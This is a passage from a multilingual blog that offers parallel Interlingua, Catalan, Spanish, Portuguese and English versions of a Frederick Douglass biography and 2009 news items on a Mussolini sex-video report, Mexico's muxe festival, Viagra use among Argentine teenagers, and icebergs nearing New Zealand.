parve village possedite per un familia blanc qui viveva in casas grande in iste latifundios, cuje organisation agricole e social esseva multo simile al latifundios roman e medieval.\nLe matre de Douglass esseva Harriet Bailey, e multes crede que su patre esseva le homine qui le possedeva, Captain Aaron Anthony. Frederick non cognosceva su matre multo ben. Illa esseva inviate a un altere latifundo quando Frederick esseva multo juvene, e illa non poteva visitar le multo sovente e moriva quando ille habeva septe annos.\nIn ille epocha, Frederick viveva con su granpatres, Betsey e Isaac Bailey. Ille diceva que su granpatres esseva multo amabile e esseva respectate per le altere sclavos qui les cognosceva. A causa de isto, al principio ille non sapeva que ille esseva un sclavo.\nLe vita de familias afroamerican de ille epocha non esseva stabile. Como lor membros esseva le proprietate legal del personas qui les possedeva, illes sovente esseva vendite e vadeva a altere latifundios distante, e Frederick debeva abandonar le focar de su granpatres quando ille habeva solmente sex annos. Ille diceva que le necessitate de abandonar su granpatres esseva le die le plus triste de su vita, e de ille experientia ille comenciava a apprender lo que le vita de un sclavo vermente significava.\nIn 1826 Frederick esseva inviate a travaliar pro Hugh Auld, in Baltimore, Maryland. Le marita del senior Auld, Sophia, esseva multo amabile a Frederick. Illa le tractava como si ille esseva un membro del familia e comenciava a inseniar le a leger. Al apprender isto, su marito se irasceva grandemente e prohibeva que illa continuava a facer isto. Le senior Auld diceva que si su sclavos sapeva leger, illes comenciarea a rebellar se e correrea via.\nFrederick tamen poteva continuar su lectiones de lectura a causa de un gruppo de pueros blanc in le citate qui esseva contra le sclavitude e insisteva que ille habeva le derecto de apprender a leger e de esser libere.\nLe senior Auld inviava Frederick a travaliar pro un fermero povre, Edward Covey, qui sovente le batteva. In 1836 Frederick tentava escappar, ma ille non succedeva in iste tentativa e esseva arrestate, e on le faceva retornar al casa de Hugh e Sophia Auld in Baltimore.\nIlle tunc cognosceva e se inamorava con un afroamericana libere, Anna Murray, qui habeva un empleo mundante le casas de familias blanc in le area ubi illa viveva. Illa dava a Frederick moneta, que ille usava pro comprar se un billet pro un traino que le portava a New York City.\nAl arrivar a New York, Frederick Bailey cambiava su nomine a Frederick Douglass pro celar su identitate de personas qui ganiava moneta capturante sclavos escappate. Anna Murray le sequeva a New York, e tosto illes se maritava. Illes vadeva a viver in New Bedford, Massachussets e deveniva le patres de cinque filios.\nFrederick Douglass deveniva un del plus importante figuras del movimento abolutioniste in le Statos Unite. In 1841, ille vadeva a un reunion del Massachsetts Anti-Slavery Society (Societate Antisclaviste de Massachusetts) in Nantucket e esseva invitate a facer un discurso sur su vita como sclavo.\nBen que ille non habeva preparate un discurso, ille parlava de un maniera eloquentissime e tosto deveniva un leader importante del movimento abolitioniste in Massachusetts. On le invitava a facer altere discursos in citates in multe statos american ubi le sclavitude esseva illegal, e ille continuava a parlar sur su experientias personal como sclavo e descibeva le vita typic del sclavos american, qui sovente esseva victimas de malnutrition fortiate a travaliar omne le die in campos sub un sol periculosemente calide e a dormir in le solo frigide durante le nocte.\nMultes qui audiva su discursos credeva que illos esseva mentirose. Illes refusava a creder que ille habeva essite un sclavo proque Douglass pareva esser un homine troppo instruite pro haber suffrite de sclavitude.\nPro probar que ille vermente habeva essite un sclavo, in 1844 Douglass comenciava a scriber su autobiographia, le \"Narrative of the Life of Frederick Douglass, An American Slave\", que esseva publicate le anno sequente. Plus tarde ille publicava versiones expandite de iste libro. Douglass deveniva multo famose post le publication de su autobiographia.\nIn 1852 on le invitava a facer un discurso durante le celebration del independentia del Statos Unite le 4 de julio. In su discurso, Douglass diceva que le independentia statounitese pertineva solmente a gente blanc, non a sclavos afroamerican, pro le quales iste die revela fortemente le discrimination e suffrentia que illes debeva tolerar.\nIn 1861 le Guerra Civil American comenciava. Frederick Douglass e multe alteres videva le sclavitude como le causa del guerra. Douglass voleva que le afroamericanos poteva participar in le guerra, ma multe blancos, includente Abraham Lincoln, insisteva que le presentia de afroamericanos destruerea le spirito combative del soldatos blanc in su armea. Iste gente anque credeva que soldatos nigre non esseva assatis intelligente pro luctar efficacemente contra le fortias militar del statos del sud american.\nDuo annos plus tarde, on permitteva le presentia de soldatos afroamerican in le armea statounitese. Ben que illes esseva tan coragiose como le soldatos blanc, on dava a illes travalios que reflecteva le sclavitude de multes de illes. In un reunion con Abraham Lincoln in Washington, Douglass insisteva que soldatos afroamerican debeva servir in le armea sur un base de equalitate con soldatos blanc. Ben que Lincoln esseva de accordo, ille diceva que un cambio immediate non esseva possibile.\nIn 1865 le armea de Lincoln habeva vincite in le guerra civil american, e unes menses plus tarde Lincoln esseva assassinate, e al fin de ille anno le sclavitude american terminava. Post le guerra, Douglass deveniva un functionario del governamento federal american. Ma ille continuava su lucta pro le equalitate economic, social, e legal non solmente pro afroamericanos ma anque pro mulieres. Ille moriva in su focar de un attacco cardiac in 1895 al etate de 78 annos.\nPosted by hkyson at 7:10 PM\n(Languages of this post: Interlingua, Catalan, Spanish, Portuguese, English)\nAlessandra Mussolini, membro del Populo del Libertate e presidente del commission del Parlamento sur le infantes, esseva registrate al facer sex con Roberto Fiore, leader del ultraderectiste Fortia Nove, in le sede de iste partito in Roma.\nLe scandalos sexual relationate a politicos italian sta a multiplicar se. Iste vice, le protagonista es Alessandra Mussolini, granfilia del Duce. Secundo le jornal \"Il Giornale\" del familia Berlusconi, le diputata del Populo del Libertate e presidente del commission del Parlamento Europee sur le infantes esseva filmate durante que illa habeva sex con Roberto Fiore, leader del ultraderectiste Fortia Nove, in le sede del partito in Roma.\nUn ex-collaborator de securitate de Fiore, dice \"Il Giornale\", obteneva le video via le circuito claudite de television del officios de Fortia Nove, que negava le existentia del video. Mussolini tamen non lo negava e diceva heri que se trovava \"indecise\" e non sape si illa debe \"devenir irate o rider\".\nLe novas de iste nove scandalo, que \"Il Giornale\" considera un essayo de extorsion a Mussolini in le electiones regional de martio, circulava in Internet desde le 20 de novembre, quando illo se publicava in indymedia.us, un publication electronic de contrainformation con diverse sedes in le Statos Unite con collaboratores in omne le mundo. Le articulo, publicate con le titulo \"Sex e le derecto extreme\", diceva que \"Il Gironale\" habeva comprate le banda, ma le jornal negava isto fortemente iste matino.\n---\nLa néta de Mussolini en un vídeo practicant sexe\nAlessandra Mussolini, diputada del Poble de la Llibertat i presidenta de la comissió d'infància del Parlament, ha estat enregistrada en vídeo mentre feia sexe amb Roberto Fiore, el líder ultradretà de Força Nova, a la seu d'aquest partit a Roma.\nEls escàndols sexuals vinculats a polítics italians es multipliquen. Aquest cop la protagonista és Alessandra Mussolini, la néta del Duce. Segons el diari \"Il Giornale\", de la família Berlusconi, la diputada del Poble de la Llibertat i presidenta de la comissió d'infància del Parlament ha estat enregistrada en vídeo mentre feia sexe amb Roberto Fiore, el líder ultradretà de Força Nova, a la seu d'aquest partit a Roma.\nUn excol.laborador de la seguretat de Fiore hauria obtingut la cinta, segons explica \"Il Giornale\", a través del circuit tancat de televisió de les oficines de Força Nova, que ha negat l'existència del vídeo. Mussolini, en canvi, no ho ha desmentit i ahir va afirmar que està \"indecisa\" i que no sap \"si enfadar-se o riure\".\nLa notícia d'aquest nou escàndol sexual, que \"Il Giornale\" considera un intent de xantatge a Mussolini de cara a les eleccions regionals del març, circulava per internet des del 20 de novembre, quan va aparèixer publicada a Indymedia.us, una publicació electrònica de contrainformació dels Estats Units i amb col.laboradors a tot el món. L'article, publicada sota el títol de \"Sexe i extrema dreta\", afirmava que \"Il Giornale\" hauria comprat la cinta, però el diari ho va desmentir ahir rotundament.\n---\nLa nieta de Mussolini en un vídeo practicando sexo\nAlessandra Mussolini, diputada del Pueblo de la Libertad y presidenta de la comisión de infancia del Parlamento, ha sido grabada en vídeo mientras que hacía sexo con Roberto Fiore, el líder ultraderechista de Fuerza Nueva, en la sede de este partido en Roma.\nLos escándalos sexuales vinculados a políticos italianos se multiplican. Esta vez la protagonista es Alessandra Mussolini, la nieta del Duce. Según el diario \"Il Giornale\", de la familia Berlusconi, la diputada del Pueblo de la Libertad y presidenta de la comisión de infancia del Parlamento ha sido grabada en vídeo mientras que hacía sexo con Roberto Fiore, el líder ultraderechista de Fuerza Nueva, en la sede de este partido en Roma.\nUn ex colaborador de la seguridad de Fiore habría obtenido la cinta, según explica \"Il Giornale\", a través del circuito cerrado de televisión de las oficinas de Fuerza Nueva, que ha negado la existencia del vídeo. Mussolini, en cambio, no lo ha desmentido y ayer afirmó que está \"indecisa\" y que no sabe \"si debo enfadarse o reír\".\nLa noticia de este nuevo escándalo sexual, que \"Il Giornale\" considera un intento de chantaje a Mussolini en las elecciones regionales de marzo, circulaba por internet desde el 20 de noviembre, cuando apareció publicada en Indymedia.us, una publicación electrónica de contrainformación de los Estados Unidos con colaboradores en todo el mundo. El artículo, publicado bajo el título de \"Sexo y extrema derecha\", dijo que \"Il Giornale\" había comprado la cinta, pero el diario lo desmintió ayer rotundamente.\n---\nNeta de Mussolini, em um vídeo fazendo sexo\nAlessandra Mussolini, membro do Povo da Liberdade e presidente da comissão do Parlamento sobre as crianças, foi gravada ao fazer sexo com Roberto Fiore, líder da ultradireitista Força Nova, na sede deste partido em Roma.\nOs escândalos sexuais relacionados a políticos italianos se multiplicam. Esta vez, o protagonista é Alessandra Mussolini, neta do Duce. Segundo o jornal \"Il Giornale\", da família Berlusconi, a diputada do Povo da Liberdade e presidente da comissão do Parlamento Europeu sobre as crianças fora filmada enquanto fazia sexo com Roberto Fiore, líder da ultra-direitista Força Nova, na sede do partido em Roma.\nUm ex-colaborador de segurança de Fiore obteve a fita, diz \"Il Giornale\", via circuito fechado de televisão dos serviços da Fuerza Nueva, que negou a existência do vídeo. Mussolini, no entanto, não negou e disse ontem que estava \"indecisa\" e não sabe \"se ficar com raiva ou riso\".\nAs notícias deste novo escândalo sexual, que \"Il Giornale\" considera como uma tentativa de chantagem a Mussolini nas eleições regionais de março, circulava na internet desde o 20 de novembro, quando aparaceu em Indymedia.us, uma publicação eletrónica de contrainformação com diversos sedes nos Estados Unidos com parceiros em todo o mundo.O artigo, publicado sob o título \"Sexo e a extrema-direita\", disse que \"Il Giornale\", tinha comprado a fita, mas o jornal negou veementemente esta manhã.\n---\nMussolini's granddaughter in a sex video\nAlessandra Mussolini, a member of People of Freedom and president of the parliament's Children's Commission, has been videotaped while having sex with Roberto Fiore, the leader of the ultra-rightist Forza Nuova, in the party's headquarters in Rome.\nSex scandals related to Italian politicians are multiiplying. This time the perpetrator is Alessandra Mussolini, the granddaughter of the Duce. According to the Berlusconi Family's newspaper \"Il Giornale,\" the People of Freedom deputy and chairman of the parliament's children's committee was videotaped while having sex with Roberto Fiore, leader of ultra-rightist Forza Nuova, in the the party headquarters in Rome.\nAccording to \"Il Giornale,\" a former security aide working for Fiore had obtained the tape through closed-circuit television from the offices of Forza Nuova, which has denied the existence of the video. Mussolini, however, has not denied its existence and said yesterday that she was \"undecided\" and does not know \"whether to be angry or to laugh.\"\nThe news of this new sex scandal, which \"Il Giornale\" regarded as an attempt to blackmail Mussolini before the March regional elections, has circulated on the Internet since November 20, when it appeared in Indymedia.us, an electronic counterinformation publication in the United States with collaborators throughout the world.The article, published under the title of \"Sex and the Extreme Right\", said \"Il Giornale\" had bought the tape, but the newspaper strongly denied this yesterday.\nPosted by hkyson at 6:25 PM\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nLe residentes del citate de Juchitán de Zaragoza, in le sud de Mexico, celebrava lor festival annual de lo que illes appella \"muxes\", cuje participantes es homines homosexual qui porta habitos feminin, usa cosmeticos, e selige un regina, toto con le appoio del communitate local.\nIn iste region de indios zapotec, le homosexualitate masculin es ben recipite e le festival mesmo ha le benediction del Ecclesia Catholic.\nLe muxes generalmente travalia como impleatas domestic, decoratores, cocineras, e artistas. Le majoritate se identifica como mulieres, e alicunos prende hormonas pro cambiar lor apparentia physic.\nSecundo unes studios anthropologic, alicun mulieres incoragia que su filios se converte in muxes in iste region de Mexico proque in vice de maritar se, illes ha le tendentia a remaner in le casa e custodiar lor patres.\n---\nConcurso de beleza transexual no México\nOs moradores da cidade de Juchitán de Zaragoza, no sul do México, realizaram seu festival anual das chamadas \"muxes\", que tem como participantes homens homossexuais que se vestem de mulher, usam maquiagem e escolhem uma rainha, tudo com o apoio da comunidade local.\nNesta região de índios zapotecas, a homossexualidade masculina é bem recebida e o festival tem até a bênção da igreja católica.\nAs muxes geralmente trabalham como empregadas domésticas, decoradoras, cozinheiras e artistas. A maioria se identifica como mulher e algumas tomam hormônios para mudar a aparência física.\nSegundo alguns estudos antropológicos, algumas mulheres encorajam os filhos a se tornarem muxes nesta região do México porque, em vez de se casarem, elas tendem a ficar em casa cuidando dos pais.\nDepois de uma apresentação de dança para a nova rainha, Darrina, todos foram convidados a participar de uma grande festa na cidade.\n---\nConcurso de belleza transexual en México\nLos residentes de la ciudad de Juchitán de Zaragoza, en el sur de México, celebraron su festival anual de las llamadas \"muxes\", cuyos participantes son hombres homosexuales que se visten de mujer, usan maquillaje y eligen una reina, todo con el apoyo de la comunidad local.\nEn esta región de indios zapotecas, la homosexualidad masculina es bien recibida y el festival incluso tiene la bendición de la Iglesia Católica.\nLas muxes suelen trabajar como empleadas domésticas, decoradores, cocineras y artistas. La mayoría se identifica como mujeres y algunos toman hormonas para cambiar la apariencia física.\nSegún algunos estudios antropológicos, algunas mujeres se alientan a sus hijos a convertirse en muxes en esta región de México, porque en lugar de casarse, tienden a quedarse en casa y cuidar a sus padres.\nDespués de un espectáculo de baile para la nueva reina, Darrina, todos fueron invitados a asistir a una gran fiesta en la ciudad.\n---\nTranssexual beauty pageant in Mexico\nResidents of the city of Juchitan de Zaragoza, in southern Mexico held their annual festival of so-called \"muxes\", whose participants are homosexual men who dress as women, wear makeup, and choose a queen, all with the support of the local community.\nIn this region of Zapotec Indians, male homosexuality is well received and the festival even has the blessing of the Catholic Church.\nThe muxes usually work as maids, decorators, cooks, and artists. Most identify themselves as women, and some take hormones to change their physical appearance.\nAccording to some anthropological studies, some women encourage their children to become muxes in this region of Mexico because instead of getting married, they tend to stay at home and take care of their parents.\nAfter a dance performance of the new queen, Darrina, all were invited to attend a big party in town.\nPosted by hkyson at 5:46 PM\n(Languages of this post: Interlingua, Portuguese, English)\nUn nove studio realisate in Argentina indica que tres de cata dece \"medicamentos pro erection\" vendite in le pais in le anno passate esseva consumite per minores de etate.\nLe studio esseva realisate per specialistas del Schola de Pharmacia e Biochemia del Universitate Maimónides, de Buenos Aires.\nLe basse precio de alicunes de iste medicamentos e le manco de necessitate de un prescription ha facilitate lor consumption inter le juvenes, secundo le recercatores.\n\"Le consumption de Viagra sta a crescer inter adolescentes de 15 e 16 annos de etate, de omne le classes social\", diceva le pediatra Mirta Garategaray, del Committee de Adolescentia del Societate Argentin.\n\"Alicunes de illes reportava que illes usava le droga al perder le virginitate pro garantir un bon execution\", diceva illa. \"Si illes solmente ha cinque pesos in le tasca, illes prefere comprar Viagra in vice de preservativos.\"\nIn le hospital public Fernández, in le capital argentin, adolescentes ha essite attendite con reactiones adverse causate per Viagra.\n\"Nos habeva patientes qui contava que illes usava Viagra in le prime nocte de sexo\", diceva Carlos Damin, chef de toxicologia del hospital. \"Nos es surprendite con le facilitate con le qual illes poteva comprar ille droga.\"\nAl mesme tempore, secundo un pediatra del hospital infantil, Ricardo Gutiérrez, le telephonemas de juvenes qui vole apprender sur le effectos adverse de Viagra pro le sanitate es frequente.\n\"Unes lo usa proque illes time faller quando illes debe haber relationes sexual, e alteres proque illes habeva bibite alcohol pro perder lor inhibitiones e usava Viagra pro garantir un erection\", affirmava Marta Braschi.\nLe risco, dice le specialistas, es que iste adolescentes pote devenir dependente sur le Viagra quando illes ha relationes sexual.\n---\nCresce consumo de Viagra entre menores argentinos, diz pesquisa.\nUm novo estudo realizado na Argentina indica que três de cada dez \"medicamentos para ereção\" vendidos no país no ano passado foram consumidos por menores de idade.\nO estudo foi realizado por especialistas da Escola de Farmácia e Bioquímica da Universidade Maimónides, de Buenos Aires.\nO baixo preço de alguns destes medicamentos e a não exigência de receita estaria facilitando o consumo entre os jovens, segundo os pesquisadores.\n\"O consumo de Viagra está crescendo entre adolescentes de 15 e 16 anos de idade, de todas as classes sociais\", disse a pediatra Mirta Garategaray, do Comitê da Adolescência da Sociedade Argentina.\n\"Alguns deles contaram que tomaram a droga quando perderam a virgindade para garantir um bom desempenho\", disse. \"Se eles só têm cinco pesos no bolso, preferem comprar Viagra em vez de preservativos.\"\nNo hospital público Fernández, na capital argentina, adolescentes têm sido atendidos com reações adversas causadas pelo Viagra.\n\"Tivemos aqui pacientes que contaram que tomaram o Viagra na primeira noite de sexo\", disse Carlos Damin, chefe de toxicologia do hospital. \"Estamos supresos com a facilidade com que eles conseguem comprar essa droga.\"\nAo mesmo tempo, de acordo com uma pediatra do hospital infantil, Ricardo Gutiérrez, os telefonemas de jovens que querem saber os efeitos adversos do Viagra na saúde são frequentes.\n\"Uns tomam porque têm medo de falhar quando têm que ter relações sexuais, e outros porque tomaram alguma bebida alcoólica para perder a inibição e optam pelo Viagra para garantir a ereção\", afirmou Marta Braschi.\nO risco, dizem os especialistas, é que estes adolescentes podem se tornar dependente de Viagra quando tiverem relações sexuais.\n---\nGrowing use of Viagra among Argentine youth, says survey.\nA new study conducted in Argentina indicates that three out of ten \"erection drugs\" sold in the country last year were consumed by minors.\nThe study was conducted by experts from the School of Pharmacy and Biochemistry at Maimonides University in Buenos Aires.\nThe low price of some of these drugs and no prescription requirement facilitates their consumption among young people, the researchers said.\n\"The use of Viagra is growing among adolescents aged 15 to 16 years old, from all walks of life,\" said Mirta Garategaray of the Adolescence Committee of Argentine Society.\n\"Some of them reported that they took the drug when they lost their virginity to ensure that they could perform well,\" she said. \"If they have only five pesos in their pockets, they prefer to buy Viagra instead of condoms.\"\nAt the Fernández public hospital in the Argentine capital, teenagers have been treated for adverse reactions caused by Viagra.\n\"Here we have had patients who said they took Viagra on the first night of sex,\" said Carlos Damin, head of toxicology at the hospital. \"We are surprised at how easily they can buy that drug.\"\nAt the same time, according to a pediatrician at Children's Hospital, Ricardo Gutierrez, phone calls from people who want to know the adverse effects of Viagra on health are common.\n\"Some use it because they are afraid of failing when they have to have sex, and others because they drank some alcoholic beverage to lose their inhibitions, and opt for Viagra to ensure an erection,\" said Marta Braschi.\nThe risk, say the experts, is that these teenagers can become dependent on Viagra whenever they have sex.\nPosted by hkyson at 5:09 PM\nFriday, November 27, 2009\n(Languages of this post: Interlingua, Catalan, Spanish, English)\nPlus que un centenar de icebergs, alicunes de usque 250 metros de longitude, sta a esser portate per currentes marin verso New Zealand, e le autoritates ha date un avertimento al naves que naviga per le zona.\nLe ultime photographias per satellite ha indicate que le blocos de glacie ha movite ultra le insulas Auckland e se trova a unes 450 kilometros al nordest del insula Sud, le plus grande de New Zealand.\nLe massa de glacie, que se separava de Antarctica a causa del elevation de temperaturas como consequentia del calefaction global, esseva vidite per le prime vice ante unes duo septamanas per le scientistas del base permanente de investigation que Australia ha in le insula de Macquarie, in le extreme sudest del Oceano Pacific.\nLe Icebergs se move a un velocitate medie de inter un e duo kilometros per hora, secundo le Instituto Neozelandese de Investigation Atmospheric.\nRodney Russ, le chef del equipa de scientistas neozelandese qui viagia a bordo del nave Spirit of Enerby del compania Heritage Expeditions, diceva que le blocos de glacie sta a funder se durante que illos move foras de Antarctica.\nIste es le secunde vice que occurreva un phenomeno simile in solmente tres annos. In 2006, plure icebergs se fundeva quando illos se trovava a unes 25 kilometros del costa del insula del Sud, alique que non occurreva desde 1931, secundo datos disponibile a scientistas in Australia.\nLe autoritates maritime del New Zealand emitteva le septimana passate un alerta pro le naves que naviga per le zona ubi ha essite vidite le icebergs.\n---\nUn centenar d'icebergs de l'Antàrtida avancen cap a Nova Zelanda.\nMés d'un centenar d'icebergs, algun de fins a 250 metres de longitud, estan sent empesos pel corrent marí en direcció a Nova Zelanda, i les autoritats han donat l'alerta als vaixells que naveguen per la zona.\nLes últimes fotografies per satèl.lit han indicat que els blocs de gel han sobrepassat les illes Auckland i es troben uns 450 quilòmetres al nord-est de l'illa del Sud, la més gran de Nova Zelanda.\nLa massa de gel, despresa de l'Antàrtida a causa de l'alça de la temperaturas com a conseqüència de l'escalfament global, va ser vista per primera vegada fa unes dues setmanes pels científics de la base permanent d'investigació que Austràlia té a l'illa de Macquarie, a l'extrem sud-oest de l'oceà Pacífic.\nEls icebergs es mouen a una velocitat mitjana d'entre un i dos quilòmetres per hora, segons l'Institut Neozelandès d'Investigació Atmosfèrica.\nRodney Russ, cap de l'equip de científics neozelandesos que viatgen a bord del vaixell Spirit of Enerby de la companyia Heritage Expeditions, va dir que els blocs de gel s'estan foment a mesura que s'allunyen de l'Antàrtida.\nÉs aquesta la segona vegada que passa un fenomen similar en només tres anys. El 2006, diversos icebergs es van fondre quan eren a uns 25 quilòmetres de la costa de l'illa del Sud, cosa que no passava des del 1931, segons dades disponibles per als científics a Austràlia.\nLes autoritats marítimes de Nova Zelanda van emetre la setmana passada una alerta per als vaixells que naveguen per la zona on han estat vistos els icebergs.\n---\nUn centenar de icebergs de la Antártida avanzan hacia Nueva Zelanda.\nMás de un centenar de icebergs, algunos de hasta 250 metros de longitud, están siendo empujados por la corriente marina en dirección a Nueva Zelanda, y las autoridades han dado la alerta a los barcos que navegan por la zona.\nLas últimas fotografías por satélite han indicado que los bloques de hielo han sobrepasado las islas Auckland y se encuentran unos 450 kilómetros al noreste de la isla del Sur, la más grande de Nueva Zelanda.\nLa masa de hielo, desprendida de la Antártida a causa de la alza de las temperaturas como consecuencia del calentamiento global, fue vista por primera vez hace unas dos semanas por los científicos de la base permanente de investigación que Australia tiene en la isla de Macquarie, en el extremo suroeste del océano Pacífico.\nLos icebergs se mueven a una velocidad media de entre uno y dos kilómetros por hora, según el Instituto Neozelandés de Investigación Atmosférica.\nRodney Russ, jefe del equipo de científicos neozelandeses que viajan a bordo del barco Spirit of Enerby de la compañía Heritage Expeditions, dijo que los bloques de hielo están fundiéndose a medida que se alejan de la Antártida.\nEsta es la segunda vez que ocurre un fenómeno semejante en sólo tres años. En 2006, varios icebergs se fundieron cuando estaban a unos 25 kilómetros de la costa de la isla del Sur, algo que no ocurría desde 1931, según datos disponibles a científicos en Australia.\nLas autoridades marítimas de Nueva Zelanda emitieron la semana pasada una alerta para los barcos que navegan por la zona donde han sido vistos los icebergs.\n---\nAbout a hundred icebergs from Antarctica are moving toward New Zealand.\nMore than a hundred icebergs, some up to 250 meters (273 yards) long, are being pushed by a marine current in the direction of New Zealand, and authorities have issued warnings to ships sailing in the area.\nThe latest satellite photos indicated that the ice blocks have moved beyond the Auckland Islands and are located about 450 kilometers (280 miles) northeast of the South Island, the largest one in New Zealand.\nThe mass of ice, which broke off from Antarctica because of rising temperatures due to global warming, was first seen about two weeks ago by scientists from the permanent research base that Australia has on Macquarie Island, in the extreme southwestern part of the Pacific Ocean.\nThe icebergs are moving at an average speed of between one and two kilometers per hour, according to the New Zealand Institute of Atmospheric Research.\nRodney Russ, head of the New Zealand team of scientists traveling aboard the Heritage Expeditions Company's Spirit of Enerby, said the ice blocks are melting as they move away from Antarctica.\nThis is the second time that such a phenomenon has occurred in only three years. In 2006, several icebergs melted when they were about 25 miles off the coast of South Island--something that had not happened since 1931, according to data available to scientists in Australia.\nThe New Zealand maritime authorities last week issued a warning to ships sailing in the area where the icebergs have been seen.\nPosted by hkyson at 3:11 PM\n(Languages of this post: Interlingua, English)\nFrederick Augustus Washington Bailey Douglass nasceva circa 1818 in Tuckahoe, Maryland, presso le Baia Chesapeake. Multe sclavos viveva in latifundos grande in ille epocha. Cata latifundio esseva como un parve village possedite per un familia blanc qui viveva in casas grande in iste latifundios, cuje organisation agricole e social esseva multo simile al latifundios roman e medieval.\nLe matre de Douglass esseva Harriet Bailey, e multes crede que su patre esseva le homine qui le possedeva, Captain Aaron Anthony. Frederick non cognosceva su matre multo ben. Illa esseva inviate a un altere latifundo quando Frederick esseva multo juvene, e illa non poteva visitar le multo sovente e moriva quando ille habeva septe annos.\nIn ille epocha, Frederick viveva con su granpatres, Betsey e Isaac Bailey. Ille diceva que su granpatres esseva multo amabile e esseva respectate per le altere sclavos qui les cognosceva. A causa de isto, al principio ille non sapeva que ille esseva un sclavo.\nLe vita de familias afroamerican de ille epocha non esseva stabile. Como lor membros esseva le proprietate legal del personas qui les possedeva, illes sovente esseva vendite e vadeva a altere latifundios distante, e Frederick debeva abandonar le focar de su granpatres quando ille habeva solmente sex annos. Ille diceva que le necessitate de abandonar su granpatres esseva le die le plus triste de su vita, e de ille experientia ille comenciava a apprender lo que le vita de un sclavo vermente significava.\nIn 1826 Frederick esseva inviate a travaliar pro Hugh Auld, in Baltimore, Maryland. Le marita del senior Auld, Sophia, esseva multo amabile a Frederick. Illa le tractava como si ille esseva un membro del familia e comenciava a inseniar le a leger. Al apprender isto, su marito se irasceva grandemente e prohibeva que illa continuava a facer isto. Le senior Auld diceva que si su sclavos sapeva leger, illes comenciarea a rebellar se e correrea via.\nFrederick tamen poteva continuar su lectiones de lectura a causa de un gruppo de pueros blanc in le citate qui esseva contra le sclavitude e insisteva que ille habeva le derecto de apprender a leger e de esser libere.\nLe senior Auld inviava Frederick a travaliar pro un fermero povre, Edward Covey, qui sovente le batteva. In 1836 Frederick tentava escappar, ma ille non succedeva in iste tentativa e esseva arrestate, e on le faceva retornar al casa de Hugh e Sophia Auld in Baltimore.\nIlle tunc cognosceva e se inamorava con un afroamericana libere, Anna Murray, qui habeva un empleo mundante le casas de familias blanc in le area ubi illa viveva. Illa dava a Frederick moneta, que ille usava pro comprar se un billet pro un traino que le portava a New York City.\nAl arrivar a New York, Frederick Bailey cambiava su nomine a Frederick Douglass pro celar su identitate de personas qui ganiava moneta capturante sclavos escappate. Anna Murray le sequeva a New York, e tosto illes se maritava. Illes vadeva a viver in New Bedford, Massachussets e deveniva le patres de cinque filios.\nFrederick Douglass deveniva un del plus importante figuras del movimento abolutioniste in le Statos Unite. In 1841, ille vadeva a un reunion del Massachsetts Anti-Slavery Society (Societate Antisclaviste de Massachusetts) in Nantucket e esseva invitate a facer un discurso sur su vita como sclavo.\nBen que ille non habeva preparate un discurso, ille parlava de un maniera eloquentissime e tosto deveniva un leader importante del movimento abolitioniste in Massachusetts. On le invitava a facer altere discursos in citates in multe statos american ubi le sclavitude esseva illegal, e ille continuava a parlar sur su experientias personal como sclavo e descibeva le vita typic del sclavos american, qui sovente esseva victimas de malnutrition fortiate a travaliar omne le die in campos sub un sol periculosemente calide e a dormir in le solo frigide durante le nocte.\nMultes qui audiva su discursos credeva que illos esseva mentirose. Illes refusava a creder que ille habeva essite un sclavo proque Douglass pareva esser un homine troppo instruite pro haber suffrite de sclavitude.\nPro probar que ille vermente habeva essite un sclavo, in 1844 Douglass comenciava a scriber su autobiographia, le \"Narrative of the Life of Frederick Douglass, An American Slave\", que esseva publicate le anno sequente. Plus tarde ille publicava versiones expandite de iste libro. Douglass deveniva multo famose post le publication de su autobiographia.\nIn 1852 on le invitava a facer un discurso durante le celebration del independentia del Statos Unite le 4 de julio. In su discurso, Douglass diceva que le independentia statounitese pertineva solmente a gente blanc, non a sclavos afroamerican, pro le quales iste die revela fortemente le discrimination e suffrentia que illes debeva tolerar.\nIn 1861 le Guerra Civil American comenciava. Frederick Douglass e multe alteres videva le sclavitude como le causa del guerra. Douglass voleva que le afroamericanos poteva participar in le guerra, ma multe blancos, includente Abraham Lincoln, insisteva que le presentia de afroamericanos destruerea le spirito combative del soldatos blanc in su armea. Iste gente anque credeva que soldatos nigre non esseva assatis intelligente pro luctar efficacemente contra le fortias militar del statos del sud american.\nDuo annos plus tarde, on permitteva le presentia de soldatos afroamerican in le armea statounitese. Ben que illes esseva tan coragiose como le soldatos blanc, on dava a illes travalios que reflecteva le sclavitude de multes de illes. In un reunion con Abraham Lincoln in Washington, Douglass insisteva que soldatos afroamerican debeva servir in le armea sur un base de equalitate con soldatos blanc. Ben que Lincoln esseva de accordo, ille diceva que un cambio immediate non esseva possibile.\nIn 1865 le armea de Lincoln habeva vincite in le guerra civil american, e unes menses plus tarde Lincoln esseva assassinate, e al fin de ille anno le sclavitude american terminava. Post le guerra, Douglass deveniva un functionario del governamento federal american. Ma ille continuava su lucta pro le equalitate economic, social, e legal non solmente pro afroamericanos ma anque pro mulieres. Ille moriva in su focar de un attacco cardiac in 1895 al etate de 78 annos.\n---\nFrederick Augustus Washigton Bailey Douglass was born around 1818 in Tuckahoe, Maryland, near the Chesapeake Bay. Many slaves lived in large plantations at that time. Each plantation was like a small village owned by a white family that lived in large houses on these plantations, whose agricultural and social organization was very similar to Roman and medieval latifundia.\nDouglass's mother was Harriet Bailey, and many believe that his father was the man who owned him, Captain Aaron Anthony. Frederick did not know his mother very well. She was sent to another plantation when Frederick was very young, and she was unable to visit him very frequently and died when he was seven years old.\nAt that time Frederick lived with his grandparents, Betsey and Isaac Bailey. He said that his grandparents were very kind and were respected by the other slaves who knew them. Because of this, he didn't know at first that he was a slave.\nThe life of African American families at that time was not stable. Since their members were the legal property of the people who owned them, they often were sold and went to other distant plantations, and Frederick had to leave his grandparents' home when he was only six years old. He said that the need to leave his grandparents was the saddest day of his life, and from that experience he began to learn what a slave's life really meant.\nIn 1826 Frederick was sent to work for Hugh Auld in Baltimore, Maryland. Auld's wife, Sophia, was very kind to Frederick. She treated him as if he were a member of the family and started to teach him to read. On finding this out, her husband became very angry and forbade her to continue doing this. Mr. Auld said that if his slaves knew how to read, they would start to rebel and run away.\nFrederick, however, was able to continue his reading lessons because of a group of white boys in the city who were against slavery and insisted that he had the right to learn to read and to be free.\nMr. Auld sent Frederick to work for a poor farmer, Edward Covey, who often beat him. In 1836 Frederick tried to escape, but he was not successful and was arrested, and he was forced to return to Hugh and Sophia Auld's house in Baltimore.\nHe then met and fell in love with a free African American woman, Anna Murray, who had a job cleaning the houses of white families in the area where she 